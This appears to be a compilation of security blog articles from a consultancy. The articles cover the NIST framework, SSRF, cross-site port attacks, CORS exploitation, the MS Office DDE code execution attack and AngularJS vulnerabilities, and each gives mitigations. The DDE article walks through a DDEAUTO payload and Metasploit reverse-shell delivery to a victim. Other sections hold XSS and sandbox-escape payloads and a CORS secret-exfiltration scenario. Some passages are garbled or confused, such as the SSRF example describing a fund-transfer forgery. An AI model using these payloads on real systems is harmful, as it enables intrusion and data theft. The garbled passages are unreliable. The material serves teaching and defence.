NIST CYBERSECURITY FRAMEWORK 1.1

NIST CYBERSECURITY FRAMEWORK 1.1

INTRODUCTION

The Framework 1.1  offers an agile way to address cybersecurity, including cybersecurity’s effect on physical, cyber, and people dimensions. It applies to organisations relying on technology, whether their cybersecurity focus is primarily on Information Technology (IT), Industrial Control Systems (ICS), Cyber-Physical Systems (CPS), or connected devices more generally, including the Internet of Things (IoT). The Framework 1.1 can enhance the organisations in addressing cybersecurity as affects the privacy of other data. Additionally, the Framework’s 1.1 outcomes serve as targets for workforce development and evolution activities.

The Framework 1.1 is not a one-size-fits-all method to manage cybersecurity risk for critical infrastructure. Organizations will continue to have static risks with different threats and vulnerabilities, and also with risk tolerances. They also will vary in how they customise practices described in the Framework 1.1. Organizations can determine activities that are important to critical service delivery and can prioritise investments to maximise the impact of each dollar spent. The Framework 1.1 is aiming to reduce the risk and better managing cybersecurity threats.

The Framework 1.1 is a living document and will continue to be updated and improved as the industry responds to implementation. NIST will continue coordinating with the private sector and government agencies at all levels. As the Framework 1.1 is placed into higher practice, additional lessons learned will be integrated into future versions. It will ensure the Framework 1.1 which meets the needs of infrastructure owners and operators in a critical environment of new threats and also the solutions.

USAGE OF FRAMEWORK 1.1

An organisation can use the Framework 1.1 as a critical part of its systematic process for identifying, assessing, and managing cybersecurity risk. The Framework is not used to replace existing methods, but companies can use its current method, and that can overlap it onto the Framework 1.1 to determine loopholes in its current cybersecurity risk approach. The Framework 1.1 can be used as a cybersecurity risk management tool; an organisation can identify activities that are most central to critical service delivery and prioritise expenditures to maximise the impact of the investment.

It is designed to complement cybersecurity operations. It can serve as the foundation for a new cybersecurity program or a mechanism for improving an existing application. The Framework  1.1 provides a means of articulating cybersecurity requirements to business partners and customers and can help identify gaps in an organisation’s cybersecurity practices.

The Framework 1.1 can be applied throughout the lifecycle phases of the plan, design, build/buy, deploy, operate, and decommission. The planning phase begins the cycle of any system and lays the groundwork for everything that follows. Overarching cybersecurity considerations should be declared and described as clearly as possible. The plan should be recognized that those requirements are to evolve during the remainder of the life cycle.

CYBERSECURITY USAGE FRAMEWORK 1.1

CONCLUSION

The Cybersecurity Framework 1.1 is intended to reduce risk by improving the management of cyber security risk to organisational objectives. Ideally, organisations using the Framework 1.1 will be able to measure and assign values to their risk along with the cost and benefits of steps taken to decrease risk to proper levels. The better an organisation can estimate its risk, costs, and advantages of cybersecurity strategies and actions, the more rational, useful, and valuable its cybersecurity approach and investments will be.

Over time, self-assessment and measurement should improve decision making about investment priorities. For example, measuring – or at least robustly characterising – aspects of an organisation’s cybersecurity state and trends over time can enable that organisation to understand and convey meaningful risk information to dependents, suppliers, buyers, and other parties. An organisation can accomplish this internally or by seeking a third-party assessment. If done correctly and with an appreciation of limitations, these measurements can provide a basis for healthy trusted relationships, both inside and outside of an organisation.

REFERENCE:

https://www.nist.gov/cyberframework

https://www.us-cert.gov/ccubedvp/cybersecurity-framework

AUTHOR

Dharmesh B

Security Engineer

Briskinfosec Technology and Consulting Pvt Ltd.,

https://www.linkedin.com/in/dharmeshbaskaran/

SSRF (SERVER SIDE REQUEST FORGERY)

SSRF (SERVER SIDE REQUEST FORGERY)

INTRODUCTION

Server-Side Request Forgery (SSRF) refers to an attack wherein an attacker can send a crafted request from a vulnerable web application. SSRF is mainly used to target internal systems behind WAF (web application firewall) that are unreachable to an attacker from the external network. Additionally, it’s also possible for an attacker to mark SSRF to access services from the same server that is listening on the loopback interface address called (127.0.0.1).

Typically, Server Side Request Forgery (SSRF) occurs when a web application is making a request, where an attacker has full or partial control of the claim that is sent. A typical example is when an attacker can control all or part of the URL to which the web application makes a request to some third-party services, and here I have captured the parameter of file= URL, and I tried to perform this server-side forgery attack

tried to perform this server-side forgery attack

In the above figure, the perpetrator forges a request for a fund transfer website, and he embeds it into the visitor site. when the visitor logs the website for the transaction and clicks the perpetrator created a link, it redirects to Perpetrator site, and the amount is transferred to his account

SSRF IMPACTS:

By this attack, an attacker can gather information about ports, IP addresses, Remote code execution and it also discovers the IP addresses of servers running behind a reverse proxy etc.

For Example, I have tried SSRF attack on a testing site for your reference

Vulnerable site: http://testphp.vulnweb.com/

POC 1:

In Burp Suite I have checked for some different redirection parameter other than URL=, and in the search field I have tried with various parameters and using this parameter of file= and here I have captured the request of the particular path and sent it to the repeater

POC 2:

Request Captured from the search file in the repeater and here in file feed a .jpg file is available, now I removed the file and entered a third party URL on file Redirected URL: https://www.expressvpn

POC 3:

Once I click on Go to capture response the response is changed to expessvpn.com, and you can see the IP of the testphp.vulnweb.com, but in render page, you can see the expressvpn.com site gets loaded as follows.

POC 4:

PREVENTION FROM SSRF:

• Generic error messages should be displayed to every client as unhandled responses might end up revealing sensitive information or data leakage about the server when any other raw response or different parameter is used.
• URL schemas other than HTTP and HTTPS should be blacklisted. Instead, these two mentioned protocols should be whitelisted thereby not allowing different schemas which are not in use like file:///, direct://, feed://, touch://  and FTP:// which might prove to be dangerous for SSRF.

CONCLUSION:

Hence, the Server Side Request Forgery attack has been made from the server side and the required web page has been redirected to some other web pages and to prevent from such types of attacks allow only the particular subdomains of the required web page and whitelist the other web pages which they are not in use.

REFERENCE LINKS:

• https://dzone.com/articles/the-server-side-request-forgery-vulnerability-and
• https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a

AUTHOR

Ram Kumar

Security Engineer

Briskinfosec Technology and Consulting Pvt Ltd.,

follow me @https://www.linkedin.com/in/ram-kumar-3439b511a/

Cross Site Port Attack (XSPA)

 

CROSS SITE PORT ATTACK (XSPA)

INTRODUCTION:

A web application is helpless against Cross Site Port Attack if it forms client provided URLs and does not disinfect the backend reaction got from remote servers previously sending it back to the client. The responses, in specific cases, can be concentrated to distinguish benefit accessibility (port status, flags and so forth.) and even bring information from remote administrations in unique ways.

Detecting a potential XSPA vulnerability is very simple and if the web app takes URL as input and tries to make it connect to the port and analyse the output and I have been attempting this XSPA attack on a testing app http://testphp.vulnweb.com/

Once I visited the testing site, and here I have selected the image categories option on the site as follows

Later I have selected the required image file it takes me to the URL as follow

Once I Visited this site I have started to capture the backend response using Burp Suite tool

Burp Suite is a graphical tool for testing Web application security, and It was mainly developed to provide a comprehensive solution for web application security checks. and In addition to this basic functionality, it also has some extra features such as proxy server, scanner and intruder, the tool also contains more advanced options such as a spider, a repeater, a decoder, a comparer, an extender and a sequencer

I have cross checked this site using my localhost with some ports and captured the response in burp suite, and by this method, we can precisely analyse the response for each port

Here I have captured the response of the image URL and crossed check it with my localhost with port 80(HTTP), and I can see the response 200 OK (Normal response)

Once It fetches the average result, and you can also confirm this for other ports like 22(ssh), 21(ftp), 25(SMTP), 8080(https) etc. and you can check the result in browser as well.

During Port analysis, if any required port is closed, it fetches the result as

It also shows the response of 200, but it displays some warning like (failed to open) or connection refused etc. and if it shows this case of errors then you can confirm that the port is closed

In the above screenshot shows the different case of the port is opened but it shows the result without exposing the attacker IP on the server logs and it also reveals the backend service running on SSH

MITIGATION FOR XSPA ATTACK:

• Unauthorized URL’s access should be restricted
• Restrict Connectivity to the internal ports
• Whitelist IP address
• Disable Unwanted protocols and services.
• You can block your ports using firewall for better security please check the link below to block your inernal ports

Reference Link:

http://www.thewindowsclub.com/block-open-port-windows-8-firewall

CONCLUSION:

XSPA vulnerability attack mainly used to perform port scanning of a target using another vulnerable website and also an attacker can perform a DOS attack, Code Execution and other major attacks on other vulnerable  websites

Reference Link:

https://teamultimate.in/cross-site-port-attack-xspa-tutorial/

http://indiatriks.blogspot.in/2012/07/xspa-cross-site-port-attack.html

AUTHOR

RamKumar G

SecurityEngineer

BriskInfoSec Technology and Consulting PVT LTD

Find  me @ https://www.linkedin.com/in/ram-kumar-3439b511a/

How can Insecure CORS lead to a biggest security threat for your application?

HOW CAN INSECURE CORS LEAD TO A BIGGEST SECURITY THREAT FOR YOUR APPLICATION?

WHAT IS THE MEANING OF AN ORIGIN?

Two websites are said to have same origin if both have following in common:

• Scheme (http, https)
• Host name (google.com, facebook.com, briskinfosec.com)
• Port number (80, 4657, 7777)

So, sites http://example.com and http://example.com/settings have same origin. But https://example.com:4657 and http://example.com:8080/settings have different origins.

The ‘Same Origin Policy’ restricts how a script loaded from one origin can interact with a resource from another origin. It is an important built-in security mechanism for browsers for isolating potential malicious scripts.

WHAT IS CROSS ORIGIN RESOURCE SHARING?

It is the need of Web 2.0 to share resources across origins. Following are some examples:

• Cross Origin Writes: A website can POST data to an endpoint of another website.
• Cross Origin Embedding: A website can refer images from another website using <img src> tag. Also, an iframe using <iframe src> tag can be embedded if the source website allows it.

Apart from the above two scenarios, when one website reads data from another website, it is called as ‘Cross Origin Resource Sharing’ aka CORS.

CORS is a W3 specification that allows cross domain communications from the browser. It works by adding new HTTP Headers that describe the origins that are allowed cross domain information sharing.

In other words, CORS is used to relax the ‘Same Origin Policy’ for legitimate and trusted requests. It is an essential feature of Web 2.0 to support APIs that are exposed via web services to be accessible.

 Some noteworthy example of web applications supporting CORS: Google, YouTube, Flickr.

TWO MOST IMPORTANT CORS HEADERS:

• Origin: It is set by browser in every CORS request. Its value is the domain name from which the request originates.
• Access Control Allow Origin: It is set by server in every CORS response. Depending on its value, the browser decides if the response is allowed or not. It can be set to * (also called the wildcard character) to make resources public (However, this is not a good practise).

PRE-FLIGHT REQUEST

A pre-flight request is just a normal HTTP request that happens before the actual cross-domain communication. The logic behind this is to ensure the client and server are fully compatible (protocol, security, and so on) with each other before the data is actually exchanged. If they are not, then the relevant error is raised.

Please keep that in mind that a pre-flight request only triggers if:

• Custom HTTP headers are sent
• The body MIME-type is different than text/plain
• The HTTP method is different than GET or yuPOST

The following is a typical pre-flight request-response pair:

Request:

   OPTIONS / HTTP/1.1
   Origin: http://api.user.com
   Access-Control-Request-Method: PUT
   Host: api.example.com
   Accept-Language: en-US
   Connection: keep-alive
   User-Agent: Browser

Response:

   HTTP/1.1 204 No Content
   Access-Control-Allow-Origin: http://api.user.com
   Access-Control-Allow-Methods: GET, POST, PUT
   Content-Type: text/html; charset=utf-8

SIMPLE REQUEST

A simple CORS request is similar to a pre-flight request without the initial capability exchange sequence occurring. In a typical simple CORS request, the following sequence happens:

Request: http://example.com  – Origin A

Response: http://cdn.briskinfosec.com – Origin B

1. Origin A attempts to access the home page of a CDN running at origin B, http://cdn.briskinfosec.com , using CORS.
2. Origin A sends a GET request to the Origin B web server.

The Origin B server responds with Access-Control-Allow-Origin.

A SCENARIO TO EXPLOIT CORS VULNERABILITY:

In this demo we are going to use a vulnerable intranet application which has a secret located at ‘secret-cors-3.php’. It has an Admin who accesses it from his local environment. Its URL is: http://127.0.0.1:80/bwapp/.

As it is an intranet application, the attacker cannot interact with it remotely. Our goal as an attacker will be to capture the secret (from a remote internet location) by exploiting CORS vulnerability.

THE EXPLOITATION:

• The attacker hosts a website containing the malicious script for cross domain interaction.
• Victim i.e. the Admin of the intranet website visits the attacker’s website. Location http://127.0.0.1:4567

• Response is received from the attacker’s website containing the following malicious payload:

• As soon as the web page is loaded, ‘makeRequest’ method is called. The method initiates a cross domain request to capture the secret, to the vulnerable intranet application located at ‘http://127.0.0.1:80/bwapp/secret-cors-1.php’

• It fetches the response and stores it in the variable ‘secret’.

• The ‘Access-Control-Allow-Origin’ has value set to *. So, the malicious script now has the payload and it simply issues a GET request to the attacker’s web server. Attacker hosts another web server at location: http://127.0.0.1:7777

• Meanwhile, attacker monitors the logs of that web server. The payload gets executed and the logs receive the secret.

HOW TO MITIGATE IT?

• ‘Access-Control-Allow-Origin’ should be never set to * if the resource contains sensitive information.
• The mitigation is simple and just a proper configuration. Configure the Access-Control-Allow-Origin header to allow requests only from the domains that you trust. For e.g.: Access-Control-Allow-Origin: Saurabh.com. The below image illustrates that the CORS attack does NOT get executed when the server is configured with correct ‘Access-Control-Allow-Origin’ instead of a ‘Wildcard’ character.

• Make sure that in server side validation for checking the origin header value, you are comparing with absolute value and NOT with regular expression.
• For example: The following code does a comparison with regular expression:

RegEx(“^https://mail.example.com$”)

In the above validation, dots (.) mean any character. So, an attacker can bypass it by making the CORS request origin from following domain: https://mailxexample.com
The patched code will be:

            if($_SERVER[“HTTP_ORIGIN”] == “https://mail.example.com”)
                    {
                        header(“Access-Control-Allow-Origin: https://mail.example.com”);
                    } 

• Client should not trust the received content without sanitization because that will result in client side code execution. For example: If website abc.com trusts and fetches cross domain data from example.com. example.com has a malicious intent and starts sering malicious javascript to abc.com, then abc.com can protect its users from cross site scripting by sanitizing the received data and then presenting it to its users.

WHAT IF THE ORIGIN HEADER IS SPOOFED?

The point of origin header is not to protect the resources on the server, that task is up to server itself. Origin header is to protect the user. Following scenario demonstrates it:

• An attacker Charlie creates a malicious website M
• User Alice is tricked into visiting website M which tries to perform CORS action on server example.com that supports it.
• The domain example.com will be listed in website M’s list of allowed domains. So, the request will be rejected.
• The important point here is that M cannot spoof the origin header because the request is initiated from Alice’s browser.
• This can be done by Alice using a local proxy tool. But why would a victim hack himself, so this scenario is not real.

Another way, an attacker can do this, is by intercepting the request being a man in the middle. But if the attacker has access to the traffic, then capturing cookies and session ID are better options rather than changing the Origin header.

OWASP CATEGORY FOR CORS VULNERABILITY:

This vulnerability falls under to the category of ‘Security Misconfiguration’ of OWASP Top 10. The HTTP response header ‘Access-Control-Allow-Origin’ is not configured correctly and this creates the issue.

REFERENCES:

• In the demo, Bwapp was used as the target web application. It is a deliberately made insecure web application. More about it at –http://www.itsecgames.com/
• CORS Introduction –https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
• Same Origin and Cross Origin Policies:https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

We have discussed about what CORS is and how to exploit CORS vulnerability in the web application and API web services .It is important to   verify that the CORS are configured properly. As a p part of web application   we need to make sure the shared resource are secure and HTTP headers haven’t tampered. A CORS Exploitation can cause great consequences letting sensitive data to compromise.

BriskInfosec provides the best web application and API security test.  Discover the reason to conduct Application Security test with us.

Reach us – Contact@briskinfosec.com

Author

RadhaKrishnan

Security Engineer

BriskInfosec Technolagy and Consulting PVT LTD

https://www.linkedin.com/in/radhakrishnan-r-209607111/

MS-OFFICE DDE Code Execution Vulnerability

BEWARE OF MS-OFFICE DDE CODE EXECUTION VULNERABILITY

INTRODUCTION:

DDE (Dynamic Data Exchange) protocol is an inbuilt feature in Microsoft Windows Applications used for the exchange of dynamic data between the applications. DDE protocol sends messages between the applications that share data and uses shared memory to exchange data between applications.
There are many applications available which use DDE feature which includes MS-Word and office 365, visual basic etc..,

DDE VULNERABILITY AND CODE EXECUTION:

For Data transfer between the applications, DDE work by executing the application, that will provide the data. If an attacker can inject a malicious code inside the DDE object field of the application (In our example we use MS-word), the attacker can execute code within the word document or excel sheet. Another advantage for the attacker is, unlike other client-side code execution attacks that use a malicious doc file which when opened, prompts the victim to enable macros in order to run the malware, these DDE exploits don’t need the victim to enable macros feature in his ms-word application. When the malicious doc is opened, it simply throws an error dialog box to the victim, which most of the users will click ‘OK’ and they will ignore it. Hence there is a higher chance for the attackers to gain access to victim machine by using this vulnerability.

Since DDE is an inbuilt feature, the malicious document cannot be identified as a threat by any Anti-virus software or windows defender. This is another big advantage for the attacker and hackers.

In this article, we will look at a demo starting with a simple code execution example by using DDE vulnerability to a complete compromise of a victim system using Metasploit.

SIMPLE CODE EXECUTION IN MS-WORD:

In MS-Word (All versions are vulnerable), open a blank new document or we can use an existing document for legitimacy purpose which will be helpful for luring the victim to believe that the document is legitimate and trusted. For our example, I’m using a blank document.

In the blank document, go to insert tab → Quick parts → Field

Fig.1 Blank Document

In the Field dialog box, select Formula option to insert our DDE exploit code.

Fig.2 Insertion in Formula option

After that, you should see a Field inserted into the document with an error “!Unexpected End of Formula”, right-click the Field, and choose Toggle Field Codes. we need to craft a DDE Object payload in the text field, which will start the malware or any code of our choice when the document is opened.

Fig.3

In the text field, insert the following code for executing notepad.exe when the document is opened.

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}

The DDEAUTO keyword is to inform Ms Word that this is a DDE field, and will auto execute when the document is opened, the second part is the full path of the executable to execute, and the last part between quotes are the arguments to pass to this executable (execute notepad.exe).

Fig.4

After that save the document as any name. Once the victim opens the doc, notepad.exe is executed after 2 error messages.

Fig.6

After these two errors, which most of the users will ignore, notepad gets executed without any macros.

Fig.7

In this way, an attacker can execute malicious code without any user interaction to take full system control.

SYSTEM COMPROMISE USING DDE EXPLOIT IN METASPLOIT:

Since the makers of Metasploit has not released the exploit in its update, we will get the exploit from outside and import it to Metasploit database. Download the exploit using command

wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb

After that just move the exploit dde_delivery.rb to use/share/Metasploit-framework/modules/exploit/windows directory. After that open msfconsole and reload the database using command reload_all.

After the exploit is loaded in Metasploit, we can use it to exploit our victim. In msfconsole set the below command parameters.

Use exploit/windows/dde_delivery
 set SRVHOST
 set payload windows/meterpreter/reverse_tcp
 set LHOST
 set LPORT
 exploit

Fig.8

Once we give the exploit command, it will generate a DDE exploit payload. We need to copy it paste it to the DDE formula field that is described in above example.

Fig.9

Save the document and send it to the victim. Once the victim opens the document and ignores the error, we will get the remote system access via meterpreter shell.

Fig.10

Once we get the shell, we can interact with sessions – I command.

Fig.11

In this way, attackers can compromise the system without any knowledge of users and also without triggering any alerts from the firewall. Microsoft has released some initial patches for this vulnerability.

MITIGATION FOR DDE VULNERABILITY:

1. Install windows security updates regularly.
2. Double the error messages while opening any msoffice documents instead of blindly clicking on OK button.
3. Do not open any unnecessary email attachments.
4. Use an up to date anti-virus and firewall software.
5. Disable DDE feature in windows registry by using the key

{HKEY_CURRENT_USER\Software\Microsoft\Office\\Excel\Security} workbooklinewarnings(DWORD)=2

Since DDE is a Microsoft’s genuine feature, most antivirus solutions do not flag any warning or block MS Office documents with DDE fields. The best way to protect yourself from such attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.

RiskInfosec provides the world’s best security solutions. For Best Security Solutions reach us @ Contact@briskinfosec.com.

REFERENCES:

1) https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
2) https://technet.microsoft.com/en-us/library/security/4053440.aspx

AUTHOR

Dawood Ansar

Security Engineer

BriskInfosec Technology and consulting  PVT LTD

FInd me @https://www.linkedin.com/in/dawood-ansar-29403213b/

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

 

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

WHAT IS ANGULAR.JS?Angular.js is an application name estranged into two parts Angular and .JS. Angular defined as the significant meaning of having one or more angles. As well, .js is an extension name of JavaScript, the platform for this framework. It is built on the belief that declarative programming should be used to create user interfaces and connect software components, while imperative programming is better suited to define an application’s business logic

WHY ANGULAR.JS?

Angular.js is used to create a front-end web application framework or RIA (Rich Internet Application). It is the Open source and has some most important core features. Also, it aims to simplify both the development and the testing of such applications by providing a framework for client-side Model View Controller (MVC) and Model View View Model (MVVM) architecture. As we are going to develop web-based applications using AngularJS, it will be good if you have a basic understanding of other web technologies such as HTML, CSS, AJAX, etc.

Following are the most important core features of AngularJS             

A single-page application (SPA) is a web application or website that interacts with the handler by dynamically altering the current page rather than loading entire new pages from a server. This methodology avoids disruption of the user experience between uninterrupted pages, making the application behave more like a desktop application.

THE SCOPE OF ANGULAR.JS SECURITY:

 The angular route is a javascript code block. An Attacker can download and know that how your client side route is working. So, Angular app security scope always lies in client-side browser

We will see the vulnerabilities for software flaws and human source code (human errors) in angular.js

COMMON SECURITY ISSUES WITH ANGULAR JS:

Angular.js package affected some of the following most common vulnerabilities.

• JSONP Callback Attack
• Bypass Content Security Policy (CSP)
• Arbitrary Script Injection
• Cross Site Scripting (XSS)
• Clickjacking
• Arbitrary Code Execution
• Arbitrary Command Execution
• Unsafe Object Deserialization
• Protection Bypass

JSONP CALLBACK ATTACK:

• JSONP (JSON with padding) is a method used to request data from a server residing in a different domain than the client.
• Any URL could perform JSONP requests, allowing full access to the browser and the JavaScript context. This can lead to Cross-site Scripting.

BYPASS CONTENT SECURITY POLICY (CSP):

Extension URIs (resource://…) bypass Content-Security-Policy in Chrome and Firefox can always be loaded. Now if a site already has an XSS bug, and uses CSP to protect itself, but the user has an extension installed that uses Angular, an attacker can load Angular from the extension, and Angular’s Auto-bootstrapping can be used to bypass the victim site’s CSP protection.

ARBITRARY SCRIPT INJECTION:

• AngularJS is affected Arbitrary Script Injection, link[href] attributes were not protected via $sce, which prevents interpolated values that fail the RESOURCE_URL context tests from being used in the interpolation. For example, if the application is running at https://docs.angularjs.org then the following will fail:

      <link href="{{ 'http://mydomain.org/unsafe.css' }}" rel="stylesheet">

• By default, RESOURCE_URL safe URLs are only allowed from the same domain and protocol as the application document.

CROSS SITE SCRIPTING (XSS):

AngularJS is vulnerable to Cross-site Scripting (XSS) due to the usemap attribute not being blacklisted.

CLICKJACKING:

AngularJS is affected to clickjacking, By enabling the SVG setting without taking other precautions, you might expose your application to click-hijacking attacks. In these attacks, sanitized SVG elements could be positioned outside of the containing element and be rendered over other elements on the page (e.g. a login link). Such behavior can then result in phishing incidents.

To protect against these, explicitly setup overflow: hidden css rule for all potential SVG tags within the sanitized content:

  .rootOfTheIncludedContent svg { overflow: hidden !important; }

ARBITRARY CODE EXECUTION:

Angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Code Execution via unsafe SVG animation tags.     

Exploit Example:

<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>

Here the anchor’s href is animated, starting from a value that’s a javascript URI. This allows execution of arbitrary javascript in the process. Preventing only the animation of links is tricky, as SVG is weird and namespaces aren’t predictable. The fix is to have the sanitizer filter out SVG animation tags instead.

ARBITRARY COMMAND EXECUTION:

One of the angularjs affected versions of the package is vulnerable to Arbitrary Command Injection due to the assignment functions accessing constructors functions, allowing attackers to execute their malicious code.

UNSAFE OBJECT DESERIALIZATION:

AngularJs affected versions of the package are vulnerable to Unsafe Object Deserialization.

The exploitable code:

hasOwnProperty.constructor.prototype.valueOf = valueOf.call;
["a", "alert(1)"].sort(hasOwnProperty.constructor);

  The exploit:

• sort takes a comparison function and passes it 2 parameters to compare.
• It then calls .valueOf() if the result is not a primitive.
• The Function object conveniently accepts two string arguments, it can be used to construct a function. However, this doesn’t do much unless it can be executed.
• The valueOf function on Function.prototype was set to Function.prototype.call. This causes the function constructed to be executed when sort calls .valueOf() on the result of the comparison.

PROTECTION BYPASS:

AngularJS affected version of the package are vulnerable to Protection Bypass via ng-attr-action and ng-attr-srcdoc allowing binding to Javascript. The fix was to require bindings to form[action] to be $sce.RESOURCE_URL and bindings to iframe[srcdoc] to be $sce.HTML

MITIGATING COMMON VULNERABILITIES IN ANGULAR JS:

• Updating the latest package version of AngularJS.
• Monthly checks the software updates for the future.
• Must install updates or upgrades the latest patches regularly.
• Also, check the Angular changelog for other security-related updates.

  VERSION:

The AngularJS is the concept of a component-based application architecture. As well as many developers believed and also it provided additional security, despite numerous vulnerabilities that had been discovered that bypassed the sandbox. So the current stable release of AngularJS is (1.6.6).

INJECTION ATTACKS ON ANGULAR JS:

 THE METHODOLOGY OF TEMPLATE INJECTION:

We have defined the following methodology to capture an efficient attack process, based on my experience auditing a range of vulnerable applications and template engines:

SERVER-SIDE TEMPLATE INJECTION:

• The server is a mechanism to store data and code. So, it must not generate templates based on user inputs and it allows users to inject template directives. It is implemented in the logic of Javascript.
• Template injection vulnerabilities can be very serious and can lead to complete compromise of the application’s data and functionality, and often of the server that is hosting the application.

  IMPACT:

An attacker using malicious template directives may able to execute arbitrary code and take full control of the web server. Also, possible to use the server as a platform for further attacks against other systems.

PREVENTION:

• It is recommended to define your Angular templates statically and populate your templates through data bindings on the client-side.
• Don’t dynamically generate angular templates on the server side.
• Templates should not be created from the user-controlled User input should be passed to the template using template parameters.

CLIENT-SIDE TEMPLATE INJECTION:

• When applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered. So that the framework will scan the page for template expressions, and execute any that it encounters.
• By using curly braces it’s possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application. These expressions will be evaluated on the client-side by AngularJS and when combined with a sandbox escape.

       IMPACT:

• An attacker can exploit this by supplying a malicious template expression that launches a cross-site scripting (XSS) attack. As with normal cross-site scripting, the attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.
• Client-side template frameworks often implement a sandbox aimed at hindering the direct execution of arbitrary JavaScript from within a template expression. However, these sandboxes are not intended to be a security control and can normally be bypassed.

       PREVENTION:

• avoid using server-side code to dynamically embed user input into client-side templates. If this is not practical, consider filtering out template expression syntax from user input prior to embedding it within client-side templates.
• HTML-encoding is not sufficient to prevent client-side template injection attacks because frameworks perform an HTML-decode of relevant content prior to locating and executing template expressions.
• It recommends to treat either curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely.

BEST PRACTICES FOR SECURING ANGULARJS :

• JSON vulnerability allows third-party website to turn your JSON resource URL into JSONP request under some conditions. It is recommended to prefix all JSON requests with the following string “)]}’,\n”. Angular will automatically strip the prefix before processing it as JSON.
• Angular provides a mechanism to prevent XSRF. When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF – TOKEN) and sets it as an HTTP header (X – XSRF – TOKEN). The header will not be set for Cross-domain
• The HTML compiler will escape all {{}} & ng-bind by default. So you must include user-generated HTML. (e.g) rich text editors. Take advantage of the services and directives. ng-bind-HTMLhtml (from angular-sanitize)
• Print as is removing “script” tags (beware of img tags). Fully customizable with $sceProvider & $SanitizeProvider.
• It is possible to browser-based MITM( Man-In-The-Middle) attack. The same attacker can put arbitrary code execution in your browser. So ensures HTTPS Everywhere.
• Avoid using Allow-Origin “*”, Unless you have very strong authentication and authorization.
• The SPA authorization is still up to the server to see the below rules are as follows. Also, it is applied to input validation.
• Examining the authentication state
• Examining profile and inferring permissions
• Enabling Privileged actions
• Filtering confidential data
• The code which actually runs in our application is libraries and components. So check dependencies for both client and server vulnerabilities.                                                                                                                                                                                                                                                                                      CONTENT SECURITY POLICY:

Content Security Policy (CSP) is an additional layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. The browsers also support for Content Security Policy (CSP).

Angular js Emerged as one of the most powerful platform has the   ability to streamline the development process and make more responsive web applications. With the popularity these frameworks comes the confusion about the security issues making the application vulnerable.

We BriskInfosec Solution are providing various security and penetration services for safe guarding your business